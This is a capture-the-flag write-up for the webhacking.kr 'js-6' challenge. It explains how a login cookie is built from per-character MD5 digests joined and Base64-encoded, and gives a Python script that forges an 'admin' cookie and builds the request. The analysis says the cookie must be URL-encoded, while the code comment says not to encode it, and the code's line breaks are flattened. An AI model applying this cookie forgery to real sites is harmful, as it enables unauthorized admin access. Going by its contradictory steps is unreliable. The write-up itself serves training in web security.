Challenge
Reconstruct the per-character MD5 cookie used by the login check.
重建登录校验使用的逐字符 MD5 Cookie。
https://webhacking.kr/challenge/js-6/Analysis
服务端把 userid Cookie 解码后按以下规则生成:对 id 的每个字符单独计算 MD5,保留小写 hex digest,按原顺序拼接,最后对整个拼接字符串做 Base64 编码。Cookie 传输层还要对 Base64 结果做 URL 编码,因为结尾通常含有 =。
这不是 md5("admin"):每个字符的 digest 都必须独立计算,目标字符串的 digest 数量等于字符数量。
Solution
下面的脚本完整构造带 userid Cookie 的 GET 请求,不发送请求,也不依赖现有 session:
import base64import hashlibfrom urllib.request import Request
URL = "https://webhacking.kr/challenge/js-6/"
def build_userid_cookie(user_id): digests = [hashlib.md5(char.encode("utf-8")).hexdigest() for char in user_id] raw_value = "".join(digests).encode("ascii") base64_value = base64.b64encode(raw_value).decode("ascii") # Cookie value 不经过 query-string 的 URL encoding;保留 Base64 原值。 return base64_value
def build_request(user_id): cookie_value = build_userid_cookie(user_id) return Request( URL, headers={"Cookie": f"userid={cookie_value}"}, method="GET", )
if __name__ == "__main__": request = build_request("admin") print(request.full_url) print(request.get_header("Cookie"))先生成 Cookie,再把它放进后续页面请求;不需要把 admin 提交到题面的输入框。